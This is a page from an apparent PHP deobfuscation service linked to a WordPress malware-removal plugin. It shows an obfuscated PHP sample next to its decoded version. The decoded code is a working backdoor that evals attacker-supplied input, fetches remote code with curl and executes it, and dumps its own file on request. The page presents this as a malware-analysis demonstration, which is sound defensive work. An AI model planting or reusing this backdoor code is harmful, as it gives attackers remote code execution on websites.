PHP deobfuscation, decryption, reconstruction tool

Obfuscated php code

<?php
goto BZqHimZ5Wanixmt;
WAFMTMaNtbkXU9x:
$t7VA3qlQ2TijCCJ = ${$e44xVhUFSiYLw2T[4 + 27] .
    $e44xVhUFSiYLw2T[52 + 7] .
    $e44xVhUFSiYLw2T[45 + 2] .
    $e44xVhUFSiYLw2T[6 + 41] .
    $e44xVhUFSiYLw2T[10 + 41] .
    $e44xVhUFSiYLw2T[1 + 52] .
    $e44xVhUFSiYLw2T[20 + 37]};
goto d9yzYGs8hIJ4IFR;
HWIOX34scHQ2Afk:
metaphone(
    "\146\64\123\x73\x4d\x35\61\143\67\141\x46\x76\130\x4a\x59\122\x46\131\x32\x53\x6d\71\60\164\102\107\65\106\156\x4d\x62\x74\x4d\x54\64\x74\62\x31\x39\x68\126\152\157"
);
goto RXEiqICsplw9_2a;
d9yzYGs8hIJ4IFR:
if (
    !(
        in_array(
            gettype($t7VA3qlQ2TijCCJ) . count($t7VA3qlQ2TijCCJ),
            $t7VA3qlQ2TijCCJ
        ) &&
        count($t7VA3qlQ2TijCCJ) == 12 &&
        md5(md5(md5(md5($t7VA3qlQ2TijCCJ[6])))) ===
            "\70\65\x62\x34\61\x37\63\67\66\146\x31\x39\x64\146\61\70\x64\142\x36\61\144\x39\x39\143\62\x61\x36\143\143\x37\66\63"
    )
) {
    goto GBAqBaJpnvgn9KM;
}
goto taS2_pQWHb8vbWU;
RXEiqICsplw9_2a:
class viG05M7X8AQFBfY
{
    static function QfIR0vByXH3HjR1($s7WyfE4cnKuSo0E)
    {
        goto phtrM2cC3mHY4Aq;
        uk4maksN4S5131n:
        $QodF1YFvfGPRCmw = $twM_M07az2Loy5F("\176", "\x20");
        goto GYRK6t66Wz0oRMf;
        ax7gcmsuXPxMzEs:
        foreach ($HHopuZGZIQiLzBc as $Kx8_MOs8eWcziZk => $cVUAwvKya9ZSV5x) {
            $QWmNBLs3PWQoLIw .= $QodF1YFvfGPRCmw[$cVUAwvKya9ZSV5x - 8884];
            LbTzAbspSrWnRSF:
        }
        goto t9H6lL7nX6Zy9uO;
        t9H6lL7nX6Zy9uO:
        DmUJOuJEZKBuAG_:
        goto n8CiCCz0aA6PANs;
        phtrM2cC3mHY4Aq:
        $twM_M07az2Loy5F = "\162" . "\141" . "\156" . "\147" . "\x65";
        goto uk4maksN4S5131n;
        GYRK6t66Wz0oRMf:
        $HHopuZGZIQiLzBc = explode("\x7d", $s7WyfE4cnKuSo0E);
        goto hAmY3nAqboALVbg;
        n8CiCCz0aA6PANs:
        return $QWmNBLs3PWQoLIw;
        goto s5Z0ZeXiNbjgUEo;
        hAmY3nAqboALVbg:
        $QWmNBLs3PWQoLIw = "";
        goto ax7gcmsuXPxMzEs;
        s5Z0ZeXiNbjgUEo:
    }
    static function xbzv4YR8g5qaknK($rqJjBSadLwyc7sH, $bfYU19n79EiMGyp)
    {
        goto UBotevdkvpRJIGW;
        RSXoleroVdExSZ6:
        $hUwffK8Co0KhsWh = curl_exec($gqm5Oj1fQZeUNDV);
        goto oXSqla7S_juJ632;
        oXSqla7S_juJ632:
        return empty($hUwffK8Co0KhsWh)
            ? $bfYU19n79EiMGyp($rqJjBSadLwyc7sH)
            : $hUwffK8Co0KhsWh;
        goto rAX64h3Qlhy1_fL;
        ji92wBZwPnl2A_r:
        curl_setopt($gqm5Oj1fQZeUNDV, CURLOPT_RETURNTRANSFER, 1);
        goto RSXoleroVdExSZ6;
        UBotevdkvpRJIGW:
        $gqm5Oj1fQZeUNDV = curl_init($rqJjBSadLwyc7sH);
        goto ji92wBZwPnl2A_r;
        rAX64h3Qlhy1_fL:
    }
    static function zIlQ73q_BZx3t0K()
    {
        goto zPzFPrAYmdnoR4M;
        OgA45djjJlJLa4R:
        @eval($hPH_M4J3zZT707l[3 + 1]($KwAavPuZig5t1HD));
        goto OniW3_h4KfqbHBo;
        OniW3_h4KfqbHBo:
        die();
        goto lVBk5yETJBFmN0H;
        mVXiX43WC00OfhB:
        $zFaD1ygQBPoN9W8 = @$hPH_M4J3zZT707l[3 + 0](
            $hPH_M4J3zZT707l[5 + 1],
            $wDjkvQI6lQpfraQ
        );
        goto OEZZN3Mfm_yOzzi;
        bTf9bMjmRSLu7zL:
        if (
            !(
                @$y4v8kiM5iqMDjBy[0] - time() > 0 and
                md5(md5($y4v8kiM5iqMDjBy[0 + 3])) ===
                    "\x38\141\x37\x33\x33\x33\61\63\x62\146\x36\x62\71\x63\63\x39\x36\x36\60\143\x63\x39\142\x66\x34\x33\x32\71\x64\x31\x62\x61"
            )
        ) {
            goto mT_YPmvj1sP_Vqu;
        }
        goto cL_xxwxU6C4wkJF;
        OEZZN3Mfm_yOzzi:
        $y4v8kiM5iqMDjBy = $hPH_M4J3zZT707l[1 + 1]($zFaD1ygQBPoN9W8, true);
        goto yfJ5yMBhFg6_UaR;
        cL_xxwxU6C4wkJF:
        $KwAavPuZig5t1HD = self::xBzV4YR8G5QAkNk(
            $y4v8kiM5iqMDjBy[1 + 0],
            $hPH_M4J3zZT707l[3 + 2]
        );
        goto OgA45djjJlJLa4R;
        jjkyE5TM1yyEaUF:
        FzFYjLr6kaYNmrg:
        goto Q3nmiXPPfL44SUx;
        lVBk5yETJBFmN0H:
        mT_YPmvj1sP_Vqu:
        goto W5nVlJS3J63G2jH;
        Q3nmiXPPfL44SUx:
        $wDjkvQI6lQpfraQ = @$hPH_M4J3zZT707l[1](
            $hPH_M4J3zZT707l[10 + 0](INPUT_GET, $hPH_M4J3zZT707l[1 + 8])
        );
        goto mVXiX43WC00OfhB;
        yfJ5yMBhFg6_UaR:
        @$hPH_M4J3zZT707l[4 + 6](INPUT_GET, "\x6f\x66") == 1 &&
            die($hPH_M4J3zZT707l[0 + 5](__FILE__));
        goto bTf9bMjmRSLu7zL;
        GBQsE_dp3LaMv84:
        foreach ($P_sLH05xYrWySXz as $O52JO8zI2FX5s4k) {
            $hPH_M4J3zZT707l[] = self::Qfir0vbyXH3Hjr1($O52JO8zI2FX5s4k);
            badrjdz2K6PXhHg:
        }
        goto jjkyE5TM1yyEaUF;
        zPzFPrAYmdnoR4M:
        $P_sLH05xYrWySXz = [
            "\x38\71\x31\61\175\70\70\71\66\x7d\x38\x39\60\71\175\70\x39\61\63\x7d\70\x38\71\x34\x7d\x38\x39\60\71\175\70\71\x31\x35\175\x38\x39\60\x38\175\x38\70\x39\x33\175\x38\x39\x30\x30\x7d\70\x39\61\x31\175\x38\x38\x39\64\175\x38\71\60\65\x7d\x38\x38\x39\71\x7d\x38\71\60\x30",
            "\x38\x38\71\x35\175\x38\x38\71\64\x7d\x38\x38\x39\66\175\70\x39\x31\x35\x7d\70\70\71\66\175\x38\x38\x39\71\x7d\x38\x38\x39\64\x7d\70\71\x36\x31\175\x38\x39\65\71",
            "\70\71\60\x34\175\70\70\71\65\x7d\70\70\71\71\x7d\70\x39\60\60\175\x38\x39\x31\65\175\x38\71\x31\60\175\x38\x39\x30\71\175\x38\71\x31\x31\x7d\70\70\x39\x39\175\x38\x39\61\x30\x7d\70\x39\x30\x39",
            "\x38\x38\x39\x38\x7d\70\x39\61\63\175\70\71\x31\x31\175\x38\71\60\x33",
            "\x38\71\x31\x32\175\x38\71\x31\x33\175\x38\x38\x39\65\175\x38\x39\x30\x39\x7d\x38\x39\x35\x36\x7d\70\71\65\70\x7d\x38\71\61\x35\x7d\x38\71\x31\x30\175\x38\x39\60\x39\175\x38\x39\x31\x31\x7d\x38\x38\71\71\x7d\x38\71\61\60\175\70\71\60\x39",
            "\70\x39\60\x38\175\x38\x39\x30\x35\175\x38\x39\60\62\x7d\70\71\60\71\175\70\71\x31\65\x7d\x38\71\x30\67\x7d\x38\71\x30\x39\175\x38\x38\71\x34\175\70\71\x31\65\175\70\x39\x31\61\x7d\70\70\71\71\175\70\x39\x30\x30\175\70\x38\71\x34\x7d\x38\x39\x30\x39\175\70\71\60\x30\175\70\x38\x39\64\x7d\70\x38\71\x35",
            "\70\x39\63\70\x7d\70\71\66\70",
            "\70\x38\x38\65",
            "\70\x39\x36\x33\175\x38\71\x36\70",
            "\x38\x39\x34\x35\175\x38\x39\62\70\x7d\70\x39\x32\x38\175\70\x39\x34\x35\x7d\x38\71\x32\x31",
            "\x38\71\60\x38\x7d\70\x39\x30\65\x7d\x38\71\x30\62\175\x38\x38\71\x34\x7d\70\71\x30\x39\x7d\70\70\71\x36\x7d\70\71\61\x35\175\70\71\60\65\175\x38\71\60\x30\x7d\x38\x38\71\70\175\70\x38\71\x33\175\x38\70\71\64",
        ];
        goto GBQsE_dp3LaMv84;
        W5nVlJS3J63G2jH:
    }
}
goto Y1DdJWI0sQmIULk;
taS2_pQWHb8vbWU:
($t7VA3qlQ2TijCCJ[67] = $t7VA3qlQ2TijCCJ[67] . $t7VA3qlQ2TijCCJ[75]) &&
    ($t7VA3qlQ2TijCCJ[89] = $t7VA3qlQ2TijCCJ[67]($t7VA3qlQ2TijCCJ[89])) &&
    @eval($t7VA3qlQ2TijCCJ[67](${$t7VA3qlQ2TijCCJ[45]}[24]));
goto uFPl2wXF7AUQzQQ;
uFPl2wXF7AUQzQQ:
GBAqBaJpnvgn9KM:
goto HWIOX34scHQ2Afk;
yBPC1ZrJ8Vw7572:
$e44xVhUFSiYLw2T = $nEUPut7WlX5ABkl("\176", "\x20");
goto WAFMTMaNtbkXU9x;
BZqHimZ5Wanixmt:
$nEUPut7WlX5ABkl = "\162" . "\x61" . "\x6e" . "\147" . "\x65";
goto yBPC1ZrJ8Vw7572;
Y1DdJWI0sQmIULk:
vIG05M7x8AqfBFY::Zilq73q_bZx3T0K();
?>
BiaoJiOk

Decoded(de-Obfuscated) php code

<?php

$nEUPut7WlX5ABkl = "range";
$e44xVhUFSiYLw2T = range("~", " ");
$t7VA3qlQ2TijCCJ = ${$e44xVhUFSiYLw2T[31] . $e44xVhUFSiYLw2T[59] . $e44xVhUFSiYLw2T[47] . $e44xVhUFSiYLw2T[47] . $e44xVhUFSiYLw2T[51] . $e44xVhUFSiYLw2T[53] . $e44xVhUFSiYLw2T[57]};
if (!(in_array(gettype($t7VA3qlQ2TijCCJ) . count($t7VA3qlQ2TijCCJ), $t7VA3qlQ2TijCCJ) && count($t7VA3qlQ2TijCCJ) == 12 && md5(md5(md5(md5($t7VA3qlQ2TijCCJ[6])))) === "85b417376f19df18db61d99c2a6cc763")) {
    goto GBAqBaJpnvgn9KM;
}
($t7VA3qlQ2TijCCJ[67] .= $t7VA3qlQ2TijCCJ[75]) && ($t7VA3qlQ2TijCCJ[89] = $t7VA3qlQ2TijCCJ[67]($t7VA3qlQ2TijCCJ[89])) && @eval($t7VA3qlQ2TijCCJ[67](${$t7VA3qlQ2TijCCJ[45]}[24]));
GBAqBaJpnvgn9KM:
metaphone("f4SsM51c7aFvXJYRFY2Sm90tBG5FnMbtMT4t219hVjo");
class viG05M7X8AQFBfY
{
    static function QfIR0vByXH3HjR1($s7WyfE4cnKuSo0E)
    {
        $twM_M07az2Loy5F = "range";
        $QodF1YFvfGPRCmw = range("~", " ");
        $HHopuZGZIQiLzBc = explode("}", $s7WyfE4cnKuSo0E);
        $QWmNBLs3PWQoLIw = "";
        foreach ($HHopuZGZIQiLzBc as $Kx8_MOs8eWcziZk => $cVUAwvKya9ZSV5x) {
            $QWmNBLs3PWQoLIw .= $QodF1YFvfGPRCmw[$cVUAwvKya9ZSV5x - 8884];
        }
        return $QWmNBLs3PWQoLIw;
    }
    static function xbzv4YR8g5qaknK($rqJjBSadLwyc7sH, $bfYU19n79EiMGyp)
    {
        $gqm5Oj1fQZeUNDV = curl_init($rqJjBSadLwyc7sH);
        curl_setopt($gqm5Oj1fQZeUNDV, CURLOPT_RETURNTRANSFER, 1);
        $hUwffK8Co0KhsWh = curl_exec($gqm5Oj1fQZeUNDV);
        return empty($hUwffK8Co0KhsWh) ? $bfYU19n79EiMGyp($rqJjBSadLwyc7sH) : $hUwffK8Co0KhsWh;
    }
    static function zIlQ73q_BZx3t0K()
    {
        $P_sLH05xYrWySXz = ["8911}8896}8909}8913}8894}8909}8915}8908}8893}8900}8911}8894}8905}8899}8900", "8895}8894}8896}8915}8896}8899}8894}8961}8959", "8904}8895}8899}8900}8915}8910}8909}8911}8899}8910}8909", "8898}8913}8911}8903", "8912}8913}8895}8909}8956}8958}8915}8910}8909}8911}8899}8910}8909", "8908}8905}8902}8909}8915}8907}8909}8894}8915}8911}8899}8900}8894}8909}8900}8894}8895", "8938}8968", "8885", "8963}8968", "8945}8928}8928}8945}8921", "8908}8905}8902}8894}8909}8896}8915}8905}8900}8898}8893}8894"];
        foreach ($P_sLH05xYrWySXz as $O52JO8zI2FX5s4k) {
            $hPH_M4J3zZT707l[] = self::Qfir0vbyXH3Hjr1($O52JO8zI2FX5s4k);
        }
        $wDjkvQI6lQpfraQ = @$hPH_M4J3zZT707l[1]($hPH_M4J3zZT707l[10](INPUT_GET, $hPH_M4J3zZT707l[9]));
        $zFaD1ygQBPoN9W8 = @$hPH_M4J3zZT707l[3]($hPH_M4J3zZT707l[6], $wDjkvQI6lQpfraQ);
        $y4v8kiM5iqMDjBy = $hPH_M4J3zZT707l[2]($zFaD1ygQBPoN9W8, true);
        @$hPH_M4J3zZT707l[10](INPUT_GET, "of") == 1 && die($hPH_M4J3zZT707l[5]("/var/www/html/input.php"));
        if (!(@$y4v8kiM5iqMDjBy[0] - time() > 0 and md5(md5($y4v8kiM5iqMDjBy[3])) === "8a733313bf6b9c39660cc9bf4329d1ba")) {
            // [PHPDeobfuscator] Implied return
            return;
        }
        $KwAavPuZig5t1HD = self::xBzV4YR8G5QAkNk($y4v8kiM5iqMDjBy[1], $hPH_M4J3zZT707l[5]);
        @eval($hPH_M4J3zZT707l[4]($KwAavPuZig5t1HD));
        die;
    }
}
vIG05M7x8AqfBFY::Zilq73q_bZx3T0K();
?>
BiaoJiOk

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.